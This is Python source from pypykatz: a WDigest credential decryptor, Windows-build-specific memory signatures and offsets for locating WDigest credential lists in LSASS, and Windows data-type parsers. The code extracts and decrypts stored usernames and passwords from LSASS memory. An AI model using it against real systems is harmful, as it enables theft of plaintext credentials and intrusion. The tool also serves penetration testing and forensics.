3 # Tamas Jos (@skelsec)
4 #
5 import io
6 import json
7
8 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
9 from pypykatz.alsadecryptor.win_datatypes import LSA_UNICODE_STRING
10
11 class WdigestCredential:
12 def __init__(self):
13 self.credtype = 'wdigest'
14 self.username = None
15 self.domainname = None
16 self.password = None
17 self.luid = None
18
19 def to_dict(self):
20 t = {}
21 t['credtype'] = self.credtype
22 t['username'] = self.username
23 t['domainname'] = self.domainname
24 t['password'] = self.password
25 t['luid'] = self.luid
26 return t
27 def to_json(self):
28 return json.dumps(self.to_dict())
29
30 def __str__(self):
31 t = '\t== WDIGEST [%x]==\n' % self.luid
32 t += '\t\tusername %s\n' % self.username
33 t += '\t\tdomainname %s\n' % self.domainname
34 t += '\t\tpassword %s\n' % self.password
35 return t
36
37 class WdigestDecryptor(PackageDecryptor):
38 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
39 super().__init__('Wdigest', lsa_decryptor, sysinfo, reader)
40 self.decryptor_template = decryptor_template
41 self.credentials = []
42
43 async def find_first_entry(self):
44 position = await self.find_signature('wdigest.dll',self.decryptor_template.signature)
45 ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
46 ptr_entry = await self.reader.get_ptr(ptr_entry_loc)
47 return ptr_entry, ptr_entry_loc
48
49 async def add_entry(self, wdigest_entry):
50 """
51 Changed the wdigest parsing, the struct only contains the pointers in the linked list, the actual data is read by
52 adding an offset to the current entry's position
53 """
54 wc = WdigestCredential()
55 wc.luid = wdigest_entry.luid
56
57 #input(wdigest_entry.this_entry.value)
58 await self.reader.move(wdigest_entry.this_entry.value + self.decryptor_template.primary_offset)
59 UserName = await LSA_UNICODE_STRING.load(self.reader)
60 DomainName = await LSA_UNICODE_STRING.load(self.reader)
61 Password = await LSA_UNICODE_STRING.load(self.reader)
62
63 wc.username = await UserName.read_string(self.reader)
64 wc.domainname = await DomainName.read_string(self.reader)
65 wc.encrypted_password = await Password.read_maxdata(self.reader)
66 if wc.username.endswith('$') is True:
67 wc.password = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
68 if wc.password is not None:
69 wc.password = wc.password.hex()
70 else:
71 wc.password = self.decrypt_password(wc.encrypted_password)
72
73 if wc.username == '' and wc.domainname == '' and wc.password is None:
74 return
75
76 self.credentials.append(wc)
77
78 async def start(self):
79 try:
80 entry_ptr_value, entry_ptr_loc = await self.find_first_entry()
81 except Exception as e:
82 self.log('Failed to find Wdigest structs! Reason: %s' % e)
83 return
84 await self.reader.move(entry_ptr_loc)
85 entry_ptr = await self.decryptor_template.list_entry.load(self.reader)
86 await self.walk_list(entry_ptr, self.add_entry)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 #import io
7 #from minidump.win_datatypes import *
8 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild
9 from pypykatz.alsadecryptor.win_datatypes import LUID, ULONG, POINTER
10 from pypykatz.alsadecryptor.package_commons import PackageTemplate
11
12 class WdigestTemplate(PackageTemplate):
13 def __init__(self):
14 super().__init__('Wdigest')
15 self.signature = None
16 self.first_entry_offset = None
17 self.list_entry = None
18 self.primary_offset = None
19
20 @staticmethod
21 def get_template(sysinfo):
22 template = WdigestTemplate()
23
24 if sysinfo.architecture == KatzSystemArchitecture.X64:
25 if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
26 template.signature = b'\x48\x3b\xda\x74'
27 template.first_entry_offset = -4
28 template.primary_offset = 36
29 template.list_entry = PWdigestListEntry
30
31 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
32 template.signature = b'\x48\x3b\xda\x74'
33 template.first_entry_offset = -4
34 template.primary_offset = 48
35 template.list_entry = PWdigestListEntry
36
37 elif sysinfo.buildnumber >= WindowsMinBuild.WIN_VISTA.value:
38 template.signature = b'\x48\x3b\xd9\x74'
39 template.first_entry_offset = -4
40 template.primary_offset = 48
41 template.list_entry = PWdigestListEntry
42
43 else:
44 raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
45
46
47 elif sysinfo.architecture == KatzSystemArchitecture.X86:
48 if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
49 template.signature = b'\x74\x18\x8b\x4d\x08\x8b\x11'
50 template.first_entry_offset = -6
51 template.primary_offset = 36
52 template.list_entry = PWdigestListEntryNT5
53
54 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
55 template.signature = b'\x74\x18\x8b\x4d\x08\x8b\x11'
56 template.first_entry_offset = -6
57 template.primary_offset = 28
58 template.list_entry = PWdigestListEntryNT5
59
60 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
61 template.signature = b'\x74\x11\x8b\x0b\x39\x4e\x10'
62 template.first_entry_offset = -6
63 template.primary_offset = 32
64 template.list_entry = PWdigestListEntry
65
66 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_10.value:
67 template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10'
68 template.first_entry_offset = -4
69 template.primary_offset = 32
70 template.list_entry = PWdigestListEntry
71
72 elif sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value:
73 template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10'
74 template.first_entry_offset = -6
75 template.primary_offset = 32
76 template.list_entry = PWdigestListEntry
77
78 else:
79 template.signature = b'\x74\x15\x8b\x17\x39\x56\x10'
80 template.first_entry_offset = -6
81 template.primary_offset = 32
82 template.list_entry = PWdigestListEntry
83
84 else:
85 raise Exception('Unknown architecture! %s' % sysinfo.architecture)
86
87 template.log_template('list_entry', template.list_entry)
88 return template
89
90
91 class PWdigestListEntry(POINTER):
92 def __init__(self):
93 super().__init__()
94
95 @staticmethod
96 async def load(reader):
97 p = PWdigestListEntry()
98 p.location = reader.tell()
99 p.value = await reader.read_uint()
100 p.finaltype = WdigestListEntry
101 return p
102
103 class PWdigestListEntryNT5(POINTER):
104 def __init__(self):
105 super().__init__()
106
107 @staticmethod
108 async def load(reader):
109 p = PWdigestListEntryNT5()
110 p.location = reader.tell()
111 p.value = await reader.read_uint()
112 p.finaltype = WdigestListEntryNT5
113 return p
114
115 class WdigestListEntryNT5:
116 def __init__(self):
117 self.Flink = None
118 self.Blink = None
119 self.this_entry = None
120 self.usage_count = None
121 self.luid = None
122
123 @staticmethod
124 async def load(reader):
125 res = WdigestListEntryNT5()
126 res.Flink = await PWdigestListEntryNT5.load(reader)
127 res.Blink = await PWdigestListEntryNT5.load(reader)
128 res.this_entry = await PWdigestListEntryNT5.load(reader)
129 res.usage_count = await ULONG.load(reader)
130 await reader.align() #8?
131 res.luid = await LUID.loadvalue(reader)
132 return res
133
134 class WdigestListEntry:
135 def __init__(self):
136 self.Flink = None
137 self.Blink = None
138 self.usage_count = None
139 self.this_entry = None
140 self.luid = None
141
142 @staticmethod
143 async def load(reader):
144 res = WdigestListEntry()
145 res.Flink = await PWdigestListEntry.load(reader)
146 res.Blink = await PWdigestListEntry.load(reader)
147 res.usage_count = await ULONG.load(reader)
148 await reader.align() #8?
149 res.this_entry = await PWdigestListEntry.load(reader)
150 res.luid = await LUID.loadvalue(reader)
151 return res
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 # https://msdn.microsoft.com/en-us/library/windows/desktop/aa383751(v=vs.85).aspx
7 import enum
8
9 class POINTER:
10 def __init__(self):
11 self.location = None
12 self.value = None
13 self.finaltype = None
14
15 @staticmethod
16 async def loadvalue(reader, finaltype = None):
17 p = await POINTER.load(reader, finaltype)
18 return p.value
19
20 @staticmethod
21 async def load(reader, finaltype):
22 p = POINTER()
23 p.location = reader.tell()
24 p.value = await reader.read_uint()
25 p.finaltype = finaltype
26 return p
27
28 async def read(self, reader, override_finaltype = None):
29 if self.value == 0:
30 return None
31 pos = reader.tell()
32 await reader.move(self.value)
33 if override_finaltype:
34 data = await override_finaltype.load(reader)
35 else:
36 data = await self.finaltype.load(reader)
37 await reader.move(pos)
38 return data
39
40 async def read_raw(self, reader, size ):
41 #we do not know the finaltype, just want the data
42 if self.value == 0:
43 return None
44 pos = reader.tell()
45 await reader.move(self.value)
46 data = await reader.read(size)
47 await reader.move(pos)
48 return data
49
50 class PVOID(POINTER):
51 def __init__(self):
52 super().__init__() #with void we cannot determine the final type
53
54 @staticmethod
55 async def loadvalue(reader):
56 t = await PVOID.load(reader)
57 return t.value
58
59 @staticmethod
60 async def load(reader, finaltype = None):
61 p = PVOID()
62 p.location = reader.tell()
63 p.value = await reader.read_uint()
64 p.finaltype = None
65 return p
66
67 class BOOL:
68 def __init__(self):
69 self.value = None
70
71 @staticmethod
72 async def loadvalue(reader):
73 t = await BOOL.load(reader)
74 return t.value
75
76 @staticmethod
77 async def load(reader):
78 res = BOOL()
79 t = await reader.read_uint()
80 res.value = bool(t)
81 return res
82
83 class BOOLEAN:
84 def __init__(self):
85 self.value = None
86
87 @staticmethod
88 async def loadvalue(reader):
89 t = await BOOLEAN.load(reader)
90 return t.value
91
92 @staticmethod
93 async def load(reader):
94 res = BOOLEAN()
95 t = await reader.read(1)
96 res.value = bool(t)
97 return res
98
99 class BYTE:
100 def __init__(self):
101 self.value = None
102
103 @staticmethod
104 async def loadvalue(reader):
105 t = await BYTE.load(reader)
106 return t.value
107
108 @staticmethod
109 async def load(reader):
110 res = BYTE()
111 t = await reader.read(1)
112 res.value = t
113 return res
114
115 class PBYTE(POINTER):
116 def __init__(self):
117 super().__init__() #with void we cannot determine the final type
118
119 @staticmethod
120 async def load(reader):
121 p = PBYTE()
122 p.location = reader.tell()
123 p.value = await reader.read_uint()
124 p.finaltype = BYTE
125 return p
126
127
128 class CCHAR:
129 def __init__(self):
130 self.value = None
131
132 @staticmethod
133 async def loadvalue(reader):
134 t = await CCHAR.load(reader)
135 return t.value
136
137 @staticmethod
138 async def load(reader):
139 res = CCHAR()
140 t = await reader.read(1)
141 res.value = t.decode('ascii')
142 return res
143
144 class CHAR:
145 def __init__(self):
146 self.value = None
147
148 @staticmethod
149 async def loadvalue(reader):
150 t = await CHAR.load(reader)
151 return t.value
152
153 @staticmethod
154 async def load(reader):
155 res = CHAR()
156 t = await reader.read(1)
157 res.value = t.decode('ascii')
158 return res
159
160 class UCHAR:
161 def __init__(self):
162 self.value = None
163
164 @staticmethod
165 async def loadvalue(reader):
166 t = await UCHAR.load(reader)
167 return t.value
168
169 @staticmethod
170 async def load(reader):
171 res = UCHAR()
172 t = await reader.read(1)
173 res.value = int.from_bytes(t, byteorder = 'little', signed = False)
174 return res
175
176 class WORD:
177 def __init__(self):
178 self.value = None
179
180 @staticmethod
181 async def loadvalue(reader):
182 t = await WORD.load(reader)
183 return t.value
184
185 @staticmethod
186 async def load(reader):
187 res = WORD()
188 t = await reader.read(2)
189 res.value = int.from_bytes(t, byteorder = 'little', signed = False)
190 return res
191
192 class DWORD:
193 def __init__(self):
194 self.value = None
195
196 @staticmethod
197 async def loadvalue(reader):
198 t = await DWORD.load(reader)
199 return t.value
200
201 @staticmethod
202 async def load(reader):
203 res = DWORD()
204 t = await reader.read(4)
205 res.value = int.from_bytes(t, byteorder = 'little', signed = False)
206 return res
207
208 class DWORDLONG:
209 def __init__(self):
210 self.value = None
211
212 @staticmethod
213 async def loadvalue(reader):
214 t = await DWORDLONG.load(reader)
215 return t.value
216
217 @staticmethod
218 async def load(reader):
219 res = DWORDLONG()
220 t = await reader.read(8)
221 res.value = int.from_bytes(t, byteorder = 'little', signed = False)
222 return res
223
224 class DWORD_PTR(POINTER):
225 def __init__(self):
226 super().__init__() #with void we cannot determine the final type
227 @staticmethod
228 async def load(reader):
229 p = DWORD_PTR()
230 p.location = reader.tell()
231 p.value = await reader.read_uint()
232 p.finaltype = DWORD
233 return p
234
235 class DWORD32:
236 def __init__(self):
237 self.value = None
238
239 @staticmethod
240 async def loadvalue(reader):
241 t = await DWORD32.load(reader)
242 return t.value
243
244 @staticmethod
245 async def load(reader):
246 res = DWORD32()
247 t = await reader.read(4)
248 res.value = int.from_bytes(t, byteorder = 'little', signed = False)
249 return res
250
251 class DWORD64:
252 def __init__(self):
253 self.value = None
254
255 @staticmethod
256 async def loadvalue(reader):
257 t = await DWORD64.load(reader)
258 return t.value
259
260 @staticmethod
261 async def load(reader):
262 res = DWORD64()
263 t = await reader.read(8)
264 res.value = int.from_bytes(t, byteorder = 'little', signed = False)
265 return res
266
267
268 class HANDLE:
269 def __init__(self):
270 self.value = None
271
272 @staticmethod
273 async def loadvalue(reader):
274 t = await HANDLE.load(reader)
275 return t.value
276
277
278 @staticmethod
279 async def load(reader):
280 res = HANDLE()
281 res.value = await reader.read_uint()
282 return res
283
284 class HFILE:
285 def __init__(self):
286 self.value = None
287
288 @staticmethod
289 async def loadvalue(reader):
290 t = await HFILE.load(reader)
291 return t.value
292
293 @staticmethod
294 async def load(reader):
295 res = HFILE()
296 res.value = await reader.read_uint()
297 return res
298
299 class HINSTANCE:
300 def __init__(self):
301 self.value = None
302
303 @staticmethod
304 async def loadvalue(reader):
305 t = await HINSTANCE.load(reader)
306 return t.value
307
308
309 @staticmethod
310 async def load(reader):
311 res = HINSTANCE()
312 res.value = await reader.read_uint()
313 return res
314
315
316 class HKEY:
317 def __init__(self):
318 self.value = None
319
320 @staticmethod
321 async def loadvalue(reader):
322 t = await HKEY.load(reader)
323 return t.value
324
325 @staticmethod
326 async def load(reader):
327 res = HKEY()
328 res.value = await reader.read_uint()
329 return res
330
331
332 class HKL:
333 def __init__(self):
334 self.value = None
335
336 @staticmethod
337 async def loadvalue(reader):
338 t = await HKL.load(reader)
339 return t.value
340
341 @staticmethod
342 async def load(reader):
343 res = HKL()
344 res.value = await reader.read_uint()
345 return res
346
347 class HLOCAL:
348 def __init__(self):
349 self.value = None
350
351 @staticmethod
352 async def loadvalue(reader):
353 t = await HLOCAL.load(reader)
354 return t.value
355
356
357 @staticmethod
358 async def load(reader):
359 res = HLOCAL()
360 res.value = await reader.read_uint()
361 return res
362
363 class INT:
364 def __init__(self):
365 self.value = None
366
367 @staticmethod
368 async def loadvalue(reader):
369 t = await INT.load(reader)
370 return t.value
371
372 @staticmethod
373 async def load(reader):
374 res = INT()
375 res.value = await reader.read_int()
376 return res
377
378
379 class INT_PTR(POINTER):
380 def __init__(self):
381 super().__init__() #with void we cannot determine the final type
382
383 @staticmethod
384 async def load(reader):
385 p = INT_PTR()
386 p.location = reader.tell()
387 p.value = await reader.read_uint()
388 p.finaltype = INT
389 return p
390
391 class UINT8:
392 def __init__(self):
393 self.value = None
394
395 @staticmethod
396 async def loadvalue(reader):
397 t = await UINT8.load(reader)
398 return t.value
399
400 @staticmethod
401 async def load(reader):
402 res = UINT8()
403 t = await reader.read(1)
404 res.value = int.from_bytes(t, byteorder = 'little', signed = False)
405 return res
406
407 class INT8:
408 def __init__(self):
409 self.value = None
410
411 @staticmethod
412 async def loadvalue(reader):
413 t = await INT8.load(reader)
414 return t.value
415
416 @staticmethod
417 async def load(reader):
418 res = INT8()
419 t = await reader.read(1)
420 res.value = int.from_bytes(t, byteorder = 'little', signed = True)
421 return res
422
423 class INT16:
424 def __init__(self):
425 self.value = None
426
427 @staticmethod
428 async def loadvalue(reader):
429 t = await INT16.load(reader)
430 return t.value
431
432 @staticmethod
433 async def load(reader):
434 res = INT16()
435 t = await reader.read(2)
436 res.value = int.from_bytes(t, byteorder = 'little', signed = True)
437 return res
438
439 class INT32:
440 def __init__(self):
441 self.value = None
442
443 @staticmethod
444 async def loadvalue(reader):
445 t = await INT32.load(reader)
446 return t.value
447
448 @staticmethod
449 async def load(reader):
450 res = INT32()
451 t = await reader.read(4)
452 res.value = int.from_bytes(t, byteorder = 'little', signed = True)
453 return res
454
455 class INT64:
456 def __init__(self):
457 self.value = None
458
459 @staticmethod
460 async def loadvalue(reader):
461 t = await INT64.load(reader)
462 return t.value
463
464 @staticmethod
465 async def load(reader):
466 res = INT64()
467 t = await reader.read(8)
468 res.value = int.from_bytes(t, byteorder = 'little', signed = True)
469 return res
470
471 class LONG:
472 def __init__(self):
473 self.value = None
474
475 @staticmethod
476 async def loadvalue(reader):
477 t = await LONG.load(reader)
478 return t.value
479
480 @staticmethod
481 async def load(reader):
482 res = LONG()
483 t = await reader.read(4)
484 res.value = int.from_bytes(t, byteorder = 'little', signed = True)
485 return res
486
487 class LONGLONG:
488 def __init__(self):
489 self.value = None
490
491 @staticmethod
492 async def loadvalue(reader):
493 t = await LONGLONG.load(reader)
494 return t.value
495
496 @staticmethod
497 async def load(reader):
498 res = LONGLONG()
499 t = await reader.read(8)
500 res.value = int.from_bytes(t, byteorder = 'little', signed = True)
501 return res
502
503 class LONG_PTR(POINTER):
504 def __init__(self):
505 super().__init__() #with void we cannot determine the final type
506
507 @staticmethod
508 async def load(reader):
509 p = LONG_PTR()
510 p.location = reader.tell()
511 p.value = await reader.read_uint()
512 p.finaltype = LONG
513 return p
514
515 class LONG32:
516 def __init__(self):
517 self.value = None
518
519 @staticmethod
520 async def loadvalue(reader):
521 t = await LONG32.load(reader)
522 return t.value
523
524 @staticmethod
525 async def load(reader):
526 res = LONG32()
527 t = await reader.read(4)
528 res.value = int.from_bytes(t, byteorder = 'little', signed = True)
529 return res
530
531 class LONG64():
532 def __init__(self):
533 self.value = None
534
535 @staticmethod
536 async def loadvalue(reader):
537 t = await LONG64.load(reader)
538 return t.value
539
540 @staticmethod
541 async def load(reader):
542 res = LONG64()
543 t = await reader.read(8)
544 res.value = int.from_bytes(t, byteorder = 'little', signed = True)
545 return res
546
547 class LPARAM(POINTER):
548 def __init__(self):
549 super().__init__() #with void we cannot determine the final type
550
551 @staticmethod
552 async def load(reader):
553 p = LPARAM()
554 p.location = reader.tell()
555 p.value = await reader.read_uint()
556 p.finaltype = LONG
557 return p
558
559 class LPBOOL(POINTER):
560 def __init__(self):
561 super().__init__() #with void we cannot determine the final type
562
563 @staticmethod
564 async def load(reader):
565 p = LPBOOL()
566 p.location = reader.tell()
567 p.value = await reader.read_uint()
568 p.finaltype = BOOL
569 return p
570
571 class LPBYTE(POINTER):
572 def __init__(self):
573 super().__init__() #with void we cannot determine the final type
574
575 @staticmethod
576 async def load(reader):
577 p = LPBYTE()
578 p.location = reader.tell()
579 p.value = await reader.read_uint()
580 p.finaltype = BYTE
581 return p
582
583 class ULONG:
584 def __init__(self):
585 self.value = None
586
587 @staticmethod
588 async def loadvalue(reader):
589 t = await ULONG.load(reader)
590 return t.value
591
592 @staticmethod
593 async def load(reader):
594 res = ULONG()
595 t = await reader.read(4)
596 res.value = int.from_bytes(t, byteorder = 'little', signed = False)
597 return res
598
599 class ULONGLONG:
600 def __init__(self):
601 self.value = None
602
603 @staticmethod
604 async def loadvalue(reader):
605 t = await ULONGLONG.load(reader)
606 return t.value
607
608 @staticmethod
609 async def load(reader):
610 res = ULONGLONG()
611 t = await reader.read(8)
612 res.value = int.from_bytes(t, byteorder = 'little', signed = False)
613 return res
614
615 class ULONG32:
616 def __init__(self):
617 self.value = None
618
619 @staticmethod
620 async def loadvalue(reader):
621 t = await ULONG32.load(reader)
622 return t.value
623
624
625 @staticmethod
626 async def load(reader):
627 res = ULONG32()
628 t = await reader.read(4)
629 res.value = int.from_bytes(t, byteorder = 'little', signed = False)
630 return res
631
632 class ULONG64:
633 def __init__(self):
634 self.value = None
635
636 @staticmethod
637 async def loadvalue(reader):
638 t = await ULONG64.load(reader)
639 return t.value
640
641 @staticmethod
642 async def load(reader):
643 res = ULONG64()
644 t = await reader.read(8)
645 res.value = int.from_bytes(t, byteorder = 'little', signed = False)
646 return res
647
648 class PWSTR(POINTER):
649 def __init__(self):
650 super().__init__() #with void we cannot determine the final type
651
652 @staticmethod
653 async def load(reader):
654 p = PWSTR()
655 p.location = reader.tell()
656 p.value = await reader.read_uint()
657 p.finaltype = None
658 return p
659
660 class PCHAR(POINTER):
661 def __init__(self):
662 super().__init__() #with void we cannot determine the final type
663
664 @staticmethod
665 async def load(reader):
666 p = PCHAR()
667 p.location = reader.tell()
668 p.value = await reader.read_uint()
669 p.finaltype = CHAR
670 return p
671
672 class USHORT:
673 def __init__(self):
674 self.value = None
675
676 @staticmethod
677 async def loadvalue(reader):
678 t = await USHORT.load(reader)
679 return t.value
680
681 @staticmethod
682 async def load(reader):
683 res = USHORT()
684 t = await reader.read(2)
685 res.value = int.from_bytes(t, byteorder = 'little', signed = False)
686 return res
687
688 class SHORT:
689 def __init__(self):
690 self.value = None
691
692 @staticmethod
693 async def loadvalue(reader):
694 t = await SHORT.load(reader)
695 return t.value
696
697 @staticmethod
698 async def load(reader):
699 res = SHORT()
700 t = await reader.read(2)
701 res.value = int.from_bytes(t, byteorder = 'little', signed = True)
702 return res
703
704 #https://msdn.microsoft.com/en-us/library/windows/hardware/ff554296(v=vs.85).aspx
705 class LIST_ENTRY:
706 def __init__(self):
707 self.Flink = None
708 self.Blink = None
709
710 @staticmethod
711 async def load(reader, finaltype = None):
712 res = LIST_ENTRY()
713 res.Flink = await POINTER.load(reader, finaltype)
714 res.Blink = await POINTER.load(reader, finaltype)
715 return res
716
717 class FILETIME:
718 def __init__(self):
719 self.dwLowDateTime = None
720 self.dwHighDateTime = None
721 self.value = None
722
723 @staticmethod
724 async def loadvalue(reader):
725 t = await FILETIME.load(reader)
726 return t.value
727
728 @staticmethod
729 async def load(reader, finaltype = None):
730 res = FILETIME()
731 res.dwLowDateTime = await DWORD.load(reader)
732 res.dwHighDateTime = await DWORD.load(reader)
733 res.value = (res.dwHighDateTime.value << 32) + res.dwLowDateTime.value
734 return res
735
736 class PUCHAR(POINTER):
737 def __init__(self):
738 super().__init__() #with void we cannot determine the final type
739
740 @staticmethod
741 async def load(reader):
742 p = PUCHAR()
743 p.location = reader.tell()
744 p.value = await reader.read_uint()
745 p.finaltype = UCHAR
746 return p
747
748 class PCWSTR(POINTER):
749 def __init__(self):
750 super().__init__() #with void we cannot determine the final type
751
752 @staticmethod
753 async def load(reader):
754 p = PCWSTR()
755 p.location = reader.tell()
756 p.value = await reader.read_uint()
757 p.finaltype = None
758 return p
759
760 class SIZE_T:
761 def __init__(self):
762 self.value = None
763
764 @staticmethod
765 async def loadvalue(reader):
766 t = await SIZE_T.load(reader)
767 return t.value
768
769 @staticmethod
770 async def load(reader):
771 res = SIZE_T()
772 res.value = await reader.read_uint()
773 return res
774
775 class LARGE_INTEGER:
776 def __init__(self):
777 self.LowPart = None
778 self.HighPart = None
779 self.QuadPart = None
780
781
782 @staticmethod
783 async def load(reader):
784 res = LARGE_INTEGER()
785 res.LowPart = await DWORD.loadvalue(reader)
786 res.HighPart = await LONG.loadvalue(reader)
787 res.QuadPart = await LONGLONG.loadvalue(reader)
788 return res
789
790
791 class PSID(POINTER):
792 def __init__(self):
793 super().__init__()
794
795 @staticmethod
796 async def load(reader):
797 p = PSID()
798 p.location = reader.tell()
799 p.value = await reader.read_uint()
800 p.finaltype = SID
801 return p
802
803 class SID:
804 def __init__(self):
805 self.Revision = None
806 self.SubAuthorityCount = None
807 self.IdentifierAuthority = None
808 self.SubAuthority = []
809
810 @staticmethod
811 async def load(reader):
812 res = SID()
813 res.Revision = await UINT8.loadvalue(reader)
814 res.SubAuthorityCount = await UINT8.loadvalue(reader)
815 t = await reader.read(6)
816 res.IdentifierAuthority = int.from_bytes(b'\x00\x00' + t, byteorder = 'big', signed = False)
817 for _ in range(res.SubAuthorityCount):
818 t = await ULONG.loadvalue(reader)
819 res.SubAuthority.append(t)
820 return res
821
822 def __str__(self):
823 t = 'S-%d-%d' % (self.Revision, self.IdentifierAuthority)
824 for subauthority in self.SubAuthority:
825 t+= '-%d' % (subauthority)
826 return t
827
828 class LUID:
829 def __init__(self):
830 self.LowPart = None
831 self.HighPart = None
832 self.value = None
833
834 @staticmethod
835 async def loadvalue(reader):
836 t = await LUID.load(reader)
837 return t.value
838
839 @staticmethod
840 async def load(reader):
841 res = LUID()
842 res.LowPart = await DWORD.loadvalue(reader)
843 res.HighPart = await LONG.loadvalue(reader)
844 res.value = (res.HighPart << 32) + res.LowPart
845 return res
846
847
848 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms721841(v=vs.85).aspx
849 class LSA_UNICODE_STRING:
850 def __init__(self):
851 self.Length = None
852 self.MaximumLength = None
853 self.Buffer = None
854
855 @staticmethod
856 async def load(reader):
857 res = LSA_UNICODE_STRING()
858 res.Length= await USHORT.loadvalue(reader)
859 res.MaximumLength = await USHORT.loadvalue(reader)
860 await reader.align()
861 res.Buffer = await PWSTR.loadvalue(reader)
862 return res
863
864 async def read_string(self, reader):
865 if self.Buffer == 0 or self.Length == 0:
866 return ''
867 await reader.move(self.Buffer)
868 data = await reader.read(self.Length)
869 data_str = data.decode('utf-16-le').rstrip('\0')
870 return data_str
871
872 async def read_data(self, reader):
873 if self.Buffer == 0 or self.Length == 0:
874 return b''
875 await reader.move(self.Buffer)
876 return await reader.read(self.Length)
877
878 async def read_maxdata(self, reader):
879 if self.Buffer == 0 or self.Length == 0:
880 return b''
881 await reader.move(self.Buffer)
882 return await reader.read(self.MaximumLength)
883
884 # https://msdn.microsoft.com/en-us/library/windows/hardware/ff540605(v=vs.85).aspx
885 class PANSI_STRING(POINTER):
886 def __init__(self):
887 super().__init__()
888
889 @staticmethod
890 async def load(reader):
891 p = PANSI_STRING()
892 p.location = reader.tell()
893 p.value = await reader.read_uint()
894 p.finaltype = ANSI_STRING
895 return p
896
897 class ANSI_STRING:
898 def __init__(self):
899 self.Length = None
900 self.MaximumLength = None
901 self.Buffer = None
902
903 @staticmethod
904 async def load(reader):
905 res = ANSI_STRING()
906 res.Length = await USHORT.loadvalue(reader)
907 res.MaximumLength = await USHORT.loadvalue(reader)
908 res.Buffer = await PCHAR.load(reader)
909 return res
910
911 async def read_string(self, reader):
912 if self.Buffer == 0 or self.Length == 0:
913 return ''
914 await reader.move(self.Buffer)
915 data = await reader.read(self.Length)
916 data_str = data.decode().rstrip('\0')
917 return data_str
918
919 async def read_data(self, reader):
920 if self.Buffer == 0 or self.Length == 0:
921 return b''
922 await reader.move(self.Buffer)
923 return await reader.read(self.Length)
924
925 # https://msdn.microsoft.com/en-us/library/windows/desktop/aa378064(v=vs.85).aspx
926
927 class KerberosNameType(enum.Enum):
928 KRB_NT_UNKNOWN = 0
929 KRB_NT_PRINCIPAL = 1
930 KRB_NT_PRINCIPAL_AND_ID = -131
931 KRB_NT_SRV_INST = 2
932 KRB_NT_SRV_INST_AND_ID = -132
933 KRB_NT_SRV_HST = 3
934 KRB_NT_SRV_XHST = 4
935 KRB_NT_UID = 5
936 KRB_NT_ENTERPRISE_PRINCIPAL = 10
937 KRB_NT_ENT_PRINCIPAL_AND_ID = -130
938 KRB_NT_MS_PRINCIPAL = -128
939 KRB_NT_MS_PRINCIPAL_AND_ID = -129
940
941 class PKERB_EXTERNAL_NAME(POINTER):
942 def __init__(self):
943 super().__init__()
944
945 @staticmethod
946 async def load(reader):
947 p = PKERB_EXTERNAL_NAME()
948 p.location = reader.tell()
949 p.value = await reader.read_uint()
950 p.finaltype = KERB_EXTERNAL_NAME
951 return p
952
953 class KERB_EXTERNAL_NAME:
954 def __init__(self):
955 self.NameType = None
956 self.NameCount = None
957 self.Names = [] # list of LSA_UNICODE_STRING
958
959 @staticmethod
960 async def load(reader):
961 res = KERB_EXTERNAL_NAME()
962 res.NameType = await SHORT.loadvalue(reader) #KerberosNameType(SHORT(reader).value)
963 res.NameCount = await USHORT.loadvalue(reader)
964 await reader.align()
965 for _ in range(res.NameCount):
966 t = await LSA_UNICODE_STRING.load(reader)
967 res.Names.append(t)
968 return res
969
970 async def read(self, reader):
971 t = []
972 for name in self.Names:
973 x = await name.read_string(reader)
974 t.append(x)
975 return t
976
977
978 class KIWI_GENERIC_PRIMARY_CREDENTIAL:
979 def __init__(self):
980 self.UserName = None
981 self.Domaine = None
982 self.Password = None
983
984 @staticmethod
985 async def load(reader):
986 res = KIWI_GENERIC_PRIMARY_CREDENTIAL()
987 res.UserName = await LSA_UNICODE_STRING.load(reader)
988 res.Domaine = await LSA_UNICODE_STRING.load(reader)
989 res.Password = await LSA_UNICODE_STRING.load(reader)
990 return res
991
992 class PRTL_BALANCED_LINKS(POINTER):
993 def __init__(self):
994 super().__init__()
995
996 @staticmethod
997 async def load(reader):
998 p = PRTL_BALANCED_LINKS()
999 p.location = reader.tell()
1000 p.value = await reader.read_uint()
1001 p.finaltype = RTL_BALANCED_LINKS
1002 return p
1003
1004 class RTL_BALANCED_LINKS:
1005 def __init__(self):
1006 self.Parent = None
1007 self.LeftChild = None
1008 self.RightChild = None
1009 self.Balance = None
1010 self.Reserved = None
1011
1012 @staticmethod
1013 async def load(reader):
1014 res = RTL_BALANCED_LINKS()
1015 res.Parent = await PRTL_BALANCED_LINKS.load(reader)
1016 res.LeftChild = await PRTL_BALANCED_LINKS.load(reader)
1017 res.RightChild = await PRTL_BALANCED_LINKS.load(reader)
1018 res.Balance = await BYTE.loadvalue(reader)
1019 res.Reserved = await reader.read(3) # // align
1020 await reader.align()
1021 return res
1022
1023 class PRTL_AVL_TABLE(POINTER):
1024 def __init__(self):
1025 super().__init__()
1026
1027 @staticmethod
1028 async def load(reader):
1029 p = PRTL_AVL_TABLE()
1030 p.location = reader.tell()
1031 p.value = await reader.read_uint()
1032 p.finaltype = RTL_AVL_TABLE
1033 return p
1034
